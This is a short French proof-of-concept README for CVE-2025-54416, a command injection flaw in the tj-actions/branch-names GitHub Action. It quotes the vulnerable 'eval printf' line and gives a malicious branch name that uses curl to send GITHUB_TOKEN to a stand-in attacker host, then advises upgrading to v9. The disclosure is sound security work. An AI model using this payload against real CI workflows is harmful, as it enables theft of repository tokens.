
Preuve de concept pour CVE-2025-54416 tj-actions/branch-names injection de commande
Ce dépôt démontre CVE-2025-54416, une vulnérabilité critique d'injection de commandes dans tj-actions/branch-names affectant plus de 5 000 dépôts publics.
L'action GitHub tj-actions/branch-names (versions <= 8.2.1) utilise un eval printf "%s" dangereux qui réintroduit des risques d'injection de commandes après une désinfection appropriée.
# Vulnerable code pattern in tj-actions/branch-names:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
tj-actions/[email protected] pour extraire le nom de la brancheNom de la branche : main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
Lorsque le workflow s'exécute :
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# Actual output: IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# The $(...) is evaluated by the shell, exfiltrating GITHUB_TOKEN
Mettez à jour vers tj-actions/branch-names@v9 ou ultérieur, qui remplace eval printf "%s" par des appels printf sécurisés.